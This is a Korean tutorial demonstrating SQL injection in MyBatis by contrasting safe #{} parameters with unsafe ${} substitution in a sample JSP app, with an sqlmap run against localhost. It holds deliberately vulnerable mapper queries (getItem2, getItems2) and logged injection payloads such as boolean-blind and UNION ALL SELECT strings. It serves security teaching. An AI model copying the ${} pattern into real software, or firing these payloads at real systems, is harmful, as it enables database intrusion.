mybatis sql injection 취약점

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.

참고 : ibatis (ibatis.apache.org) 는 google code 쪽으로 이전했으며, 이름을 mybatis.org으로 바꿨다

1. myBatis 개요
mybatis_flow

MyBatis 는 Data Mapper 프레임워크로서, SQL을 XML으로 관리하며, 예외처리 및 트렌젝션 처리를 편리하게 할수 있도록 지원하는 Persistence Layer 프레임워크이다.

MyBatis 는 데이터베이스 레코드에 원시타입과 Map 인터페이스, 자바 POJO를 XML과 어노테이션으로 설정하고 매핑할 수 있는 단순하면서도 강력한 프레임워크이다.

2. myBatis 동작방식

아래의 예제는 mybatis의 동작방식을 설명하기 위해 작성된 소스이므로 프레임워크(Spring)와 연동하지 않고 구현하였다.
DB는 mysql을 사용하였으며, 스키마는 mybatis에서 샘플로 제공하는 jpetstore의 DB스키마 중 item테이블을 사용하였다. (참고 : http://mybatis.github.com/spring/sample.html)
예제 코드 위치 : https://github.com/apollo8900/mybatis_sample/

먼저 소스트리를 보면 아래와 같다.
src_tree

먼저 SqlSessionFactoryManager.java를 살펴보면,

package com.apollo89.mybatis_sample;

import java.io.IOException;
import java.io.Reader;
import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;
import org.apache.log4j.Logger;

public class SqlSessionFactoryManager {
	private static Logger log = Logger.getLogger(SqlSessionFactoryManager.class);
	private static final SqlSessionFactory sqlMapper;
	static{
		String resource = "SqlMapConfig.xml";
		Reader reader = null;
		try {
			reader = Resources.getResourceAsReader(resource);
		} catch (IOException e) {
			e.printStackTrace();
		}
		sqlMapper = new SqlSessionFactoryBuilder().build(reader);
	}
	public static SqlSessionFactory getSqlSessionFactory() {
		return sqlMapper;   
	}
}

package com.apollo89.mybatis_sample;

import java.io.IOException;

import java.io.Reader;

import org.apache.ibatis.io.Resources;

import org.apache.ibatis.session.SqlSessionFactory;

import org.apache.ibatis.session.SqlSessionFactoryBuilder;

import org.apache.log4j.Logger;

public class SqlSessionFactoryManager {

private static Logger log = Logger.getLogger(SqlSessionFactoryManager.class);

private static final SqlSessionFactory sqlMapper;

static{

String resource = "SqlMapConfig.xml";

Reader reader = null;

try {

reader = Resources.getResourceAsReader(resource);

} catch (IOException e) {

e.printStackTrace();

}

sqlMapper = new SqlSessionFactoryBuilder().build(reader);

}

public static SqlSessionFactory getSqlSessionFactory() {

return sqlMapper;

}

SqlSessionFactoryManager 클래스에서 SqlMapConfig.xml 파일을 로딩(17번)하여 SqlSessionFactory 인스터스를 싱글톤으로 생성하도록 구현한다.
이렇게 생성된 SqlSessionFactory 인스턴스는 나중에 ItemDao 에서 사용될 것이다.

그러면 SqlMapConfig.xml 를 보자.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
	<properties resource="db.properties">
	</properties>
	<environments default="development" >
		<environment id="development" >
			<transactionManager type="JDBC" />
			<dataSource type="POOLED" >
				<property name="driver" value="${driver}" />
				<property name="url" value="${url}" />
				<property name="username" value="${user}" />
				<property name="password" value="${pwd}" />
			</dataSource>
		</environment>
	</environments>
	<mappers>
		<mapper resource="sqlmap/item.xml" />
	</mappers>
</configuration>

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE configuration

PUBLIC "-//mybatis.org//DTD Config 3.0//EN"

"http://mybatis.org/dtd/mybatis-3-config.dtd">

</properties>

</dataSource>

</environment>

</environments>

</mappers>

</configuration>

SqlMapConfig.xml에서는 db.properties파일을 읽어서(6번) Data Source 으로 JDBC Connection Pool을 생성(11번)한다.
그리고 mybatis에서 사용할 sql mapper 파일를 설정(20번)한다.

db.properties 파일에는 DB접속을 위한 정보를 작성한다.

driver = com.mysql.jdbc.Driver
url    = jdbc:mysql://mysql_host:3306/mybatis_sample?useUnicode=true&characterEncoding=utf-8
user   = mysql_id
pwd    = mysql_pw

driver = com.mysql.jdbc.Driver

url = jdbc:mysql://mysql_host:3306/mybatis_sample?useUnicode=true&characterEncoding=utf-8

user = mysql_id

pwd = mysql_pw

이번에는 sql mapper이 설정된 item.xml 파일을 살펴보자.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="mybatis_sample">
	<resultMap id="hashmap" type="java.util.HashMap"></resultMap>

	<select id="getItemAll" resultMap="hashmap">
		SELECT * FROM item 
	</select>

	<select id="getItem" parameterType="hashmap" resultMap="hashmap">
		SELECT * FROM item 
		 WHERE 1 = 1
		   AND itemid = #{itemid}
	</select>

	<select id="getItem2" parameterType="hashmap" resultMap="hashmap">
		SELECT * FROM item 
		 WHERE 1 = 1
		   AND itemid = '${itemid}'
	</select>

	<select id="getItems" parameterType="hashmap" resultMap="hashmap">
		 SELECT * FROM item
		 WHERE 1 = 1
		   AND itemid like concat('%',#{keyword},'%')
	</select>	

    <select id="getItems2" parameterType="hashmap" resultMap="hashmap">
         SELECT * FROM item
         WHERE 1 = 1
           AND itemid like '%${keyword}%'
    </select>   

</mapper>

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE mapper

PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"

"http://mybatis.org/dtd/mybatis-3-mapper.dtd">

SELECT * FROM item

</select>

SELECT * FROM item

WHERE 1 = 1

AND itemid = #{itemid}

</select>

SELECT * FROM item

WHERE 1 = 1

AND itemid = '${itemid}'

</select>

SELECT * FROM item

WHERE 1 = 1

AND itemid like concat('%',#{keyword},'%')

</select>

SELECT * FROM item

WHERE 1 = 1

AND itemid like '%${keyword}%'

</select>

</mapper>

mapper의 namespace를 mybatis_sample으로 설정하고 각각의 sql 을 작성한다.

여기서는 mybatis의 # 파라미터와 $ 파라미터의 취약점 테스트를 위해서 각각 2가지 sql 구문을 작성하였다.

getItems은 취약점이 없는 # 방식으로 파라미터를 받았고, getItems2는 취약점이 존재하는 $ 방식으로 파라미터를 받았다.

두가지 방식 모두 프로그램이 정상적으로 동작한다.

이번에는 실제 DB에 접속해서 sql을 처리하는 ItemDao.java를 보자.

package com.apollo89.mybatis_sample;

import java.util.ArrayList;
import java.util.HashMap;

import org.apache.ibatis.session.SqlSessionFactory;

import com.apollo89.mybatis_sample.SqlSessionFactoryManager;

public class ItemDao {

	SqlSessionFactory sqlMapper = SqlSessionFactoryManager.getSqlSessionFactory();

	public ItemDao() {
	}

	@SuppressWarnings({ "rawtypes", "unchecked" })
	public ArrayList<HashMap<String, String>> getItemAll(){ 
		return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItemAll");
	}

	@SuppressWarnings({ "rawtypes", "unchecked" })
	public ArrayList<HashMap<String, String>> getItems(HashMap<String, String> map){ 
		return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItems",map);
	}

	@SuppressWarnings({ "rawtypes", "unchecked" })
	public ArrayList<HashMap<String, String>> getItems2(HashMap<String, String> map){ 
		return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItems2",map);
	}

	@SuppressWarnings({ "rawtypes", "unchecked" })
	public ArrayList<HashMap<String, String>> getItem(HashMap<String, String> map){ 
		return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItem",map);
	}

	@SuppressWarnings({ "rawtypes", "unchecked" })
	public ArrayList<HashMap<String, String>> getItem2(HashMap<String, String> map){ 
		return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItem2",map);
	}

}

package com.apollo89.mybatis_sample;

import java.util.ArrayList;

import java.util.HashMap;

import org.apache.ibatis.session.SqlSessionFactory;

import com.apollo89.mybatis_sample.SqlSessionFactoryManager;

public class ItemDao {

SqlSessionFactory sqlMapper = SqlSessionFactoryManager.getSqlSessionFactory();

public ItemDao() {

}

@SuppressWarnings({ "rawtypes", "unchecked" })

public ArrayList<HashMap<String, String>> getItemAll(){

return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItemAll");

}

@SuppressWarnings({ "rawtypes", "unchecked" })

public ArrayList<HashMap<String, String>> getItems(HashMap<String, String> map){

return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItems",map);

}

@SuppressWarnings({ "rawtypes", "unchecked" })

public ArrayList<HashMap<String, String>> getItems2(HashMap<String, String> map){

return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItems2",map);

}

@SuppressWarnings({ "rawtypes", "unchecked" })

public ArrayList<HashMap<String, String>> getItem(HashMap<String, String> map){

return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItem",map);

}

@SuppressWarnings({ "rawtypes", "unchecked" })

public ArrayList<HashMap<String, String>> getItem2(HashMap<String, String> map){

return (ArrayList)sqlMapper.openSession().selectList("mybatis_sample.getItem2",map);

}

ItemDao는 SqlSessionFactoryManager의 getSqlSessionFactory을 통해 인스턴스를 sqlMapper에 저장(12번)한다.

그리고 sqlMapper을 사용해서 세션을 열고 sql mapper에서 설정한 sql에 map 정보를 파라미터로 질의(19,24,29,34,39번)한다.

자, 그러면, 마지막으로 화면인 index.jsp를 살펴보자

<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.ArrayList"%>
<%@ page import="com.apollo89.mybatis_sample.ItemDao"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%
ItemDao dao = new ItemDao();
ArrayList<HashMap<String, String>> list = null;  

String keyword = request.getParameter("keyword");

if(keyword == null || "".equals(keyword)){
	list = dao.getItemAll();
} else {
	HashMap<String,String> map = new HashMap<String,String>();
	map.put("keyword",keyword);
	list = dao.getItems(map); 
}
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>mybatis_sample</title>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script type="text/javascript">
function search() {
	$(location).attr('href','index.jsp?keyword='+$("#keyword").val());
}
</script>
</head>
<body>
<div>
<input type="text" id="keyword" name="keyword" value="">
<input type="button" id="search" name="search" value="search" onclick="search()" >
</div>
<div>
   <table border="1">
      <colgroup>
        <col width="20%">
        <col width="40%">
        <col width="20%">
        <col width="20%">
      </colgroup>

      <thead>
        <tr> 
           <th>itemid</th><th>productid</th><th>listprice</th><th>attr1</th>
        </tr>
      </thead>

      <tbody>
         <!-- jstl을 이용하여 list에 담겨있는 Map의 value값을 호출  -->
         <c:forEach var="list" items="<%=list%>">
            <tr>
              <td><a href="item.jsp?itemid=${list.itemid}">${list.itemid}</td>
              <td>${list.productid}</td>
              <td>${list.listprice}</td>
              <td>${list.attr1}</td>
            </tr>

		 </c:forEach>
      </tbody>
   </table>
 </div>

</body>
</html>

<%@ page import="java.util.HashMap"%>

<%@ page import="java.util.ArrayList"%>

<%@ page import="com.apollo89.mybatis_sample.ItemDao"%>

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

ItemDao dao = new ItemDao();

ArrayList<HashMap<String, String>> list = null;

String keyword = request.getParameter("keyword");

if(keyword == null || "".equals(keyword)){

list = dao.getItemAll();

} else {

HashMap<String,String> map = new HashMap<String,String>();

map.put("keyword",keyword);

list = dao.getItems(map);

}

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<title>mybatis_sample</title>

function search() {

$(location).attr('href','index.jsp?keyword='+$("#keyword").val());

}

</script>

</head>

<body>

<div>

</div>

<div>

</colgroup>

<thead>

<tr>

<th>itemid</th><th>productid</th><th>listprice</th><th>attr1</th>

</tr>

</thead>

<tbody>

<c:forEach var="list" items="<%=list%>">

<tr>

<td><a href="item.jsp?itemid=${list.itemid}">${list.itemid}</td>

<td>${list.productid}</td>

<td>${list.listprice}</td>

</tr>

</c:forEach>

</tbody>

</table>

</div>

</body>

</html>

먼저 itemDao의 인스턴스를 생성(7번)한다

keyword라는 파라마터를 입력(10번)받는다.
보안을 위해서는 keyword 입력값을 검증해야 하지만, 여기서는 mybatis 취약점 테스트를 위해서 입력값 검증을 하지 않는다.
keyword가 있으면, keyword 정보를 HashMap에 담아 getItems를 호출하고, 결과를 list에 담는다.
keyword가 없으면, getItemAll를 호출하고, 결과를 list에 담는다.

받은 list 정보를 JSTL(JSP Standard Tag Library)를 사용해서 보여준다.(54번)
view

3. myBatis 취약점 확인.

그러면 위에서 작성한 예제코드 활용하여 취약점 공격를 시도해 보겠다.(sqlmap 사용)

먼저 # 파라미터를 사용한 취약하지 않은 페이지를 공격 (item.xml의 getItems의 경우)

C:\Python27\sqlmap>sqlmap.py -u "http://localhost:8080/mybatis_
sample/index.jsp?keyword=1" --dbs

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 09:15:09

[09:15:09] [INFO] testing connection to the target url
[09:15:10] [INFO] testing if the url is stable. This can take a couple of second
s
[09:15:11] [INFO] url is stable
[09:15:11] [INFO] testing if GET parameter 'keyword' is dynamic
[09:15:11] [INFO] confirming that GET parameter 'keyword' is dynamic
[09:15:11] [INFO] GET parameter 'keyword' is dynamic
[09:15:11] [WARNING] reflective value(s) found and filtering out
[09:15:11] [WARNING] heuristic (basic) test shows that GET parameter 'keyword' m
ight not be injectable
[09:15:11] [INFO] testing for SQL injection on GET parameter 'keyword'
[09:15:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:15:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[09:15:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:15:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[09:16:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[09:16:11] [INFO] testing 'MySQL inline queries'
[09:16:11] [INFO] testing 'PostgreSQL inline queries'
[09:16:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[09:16:11] [INFO] testing 'Oracle inline queries'
[09:16:31] [INFO] testing 'SQLite inline queries'
[09:16:32] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:16:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:16:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[09:16:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[09:17:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:17:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[09:17:32] [INFO] testing 'Oracle AND time-based blind'
[09:17:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[09:19:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[09:19:33] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[09:21:13] [WARNING] GET parameter 'keyword' is not injectable
[09:21:13] [CRITICAL] all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to r
erun by providing either a valid value for option '--string' (or '--regexp')

[*] shutting down at 09:21:13

C:\Python27\sqlmap>

C:\Python27\sqlmap>sqlmap.py -u "http://localhost:8080/mybatis_

sample/index.jsp?keyword=1" --dbs

sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 09:15:09

[09:15:09] [INFO] testing connection to the target url

[09:15:10] [INFO] testing if the url is stable. This can take a couple of second

[09:15:11] [INFO] url is stable

[09:15:11] [INFO] testing if GET parameter 'keyword' is dynamic

[09:15:11] [INFO] confirming that GET parameter 'keyword' is dynamic

[09:15:11] [INFO] GET parameter 'keyword' is dynamic

[09:15:11] [WARNING] reflective value(s) found and filtering out

[09:15:11] [WARNING] heuristic (basic) test shows that GET parameter 'keyword' m

ight not be injectable

[09:15:11] [INFO] testing for SQL injection on GET parameter 'keyword'

[09:15:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[09:15:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause

[09:15:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[09:15:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o

r HAVING clause'

[09:16:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT

ype)'

[09:16:11] [INFO] testing 'MySQL inline queries'

[09:16:11] [INFO] testing 'PostgreSQL inline queries'

[09:16:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[09:16:11] [INFO] testing 'Oracle inline queries'

[09:16:31] [INFO] testing 'SQLite inline queries'

[09:16:32] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[09:16:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries'

[09:16:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[09:16:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[09:17:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[09:17:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[09:17:32] [INFO] testing 'Oracle AND time-based blind'

[09:17:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[09:19:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[09:19:33] [WARNING] using unescaped version of the test because of zero knowled

ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'

[09:21:13] [WARNING] GET parameter 'keyword' is not injectable

[09:21:13] [CRITICAL] all tested parameters appear to be not injectable. Try to

increase '--level'/'--risk' values to perform more tests. Also, you can try to r

erun by providing either a valid value for option '--string' (or '--regexp')

[*] shutting down at 09:21:13

C:\Python27\sqlmap>

보는것과 같이 취약하지 않다.

위와 같이 공격이 들어올 경우 mybatis에서 동작하는 방식을 보면 아래와 같다..

 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 5861(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 4110(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1.(])(([)',(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 6528-6527(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1sVuN(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1) AND 6221=3100 AND (6030=6030(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1) AND 4307=4307 AND (3172=3172(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1 AND 4805=8494(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1 AND 4307=4307(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1') AND 1364=2700 AND ('jGgp'='jGgp(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1') AND 4307=4307 AND ('rIHa'='rIHa(String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1' AND 5137=9428 AND 'XIPx'='XIPx(String)

...(생략)...

 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- (String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- (String)
 ==>  Preparing: SELECT * FROM item WHERE 1 = 1 AND itemid like concat('%',?,'%') 
 ==> Parameters: 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- (String)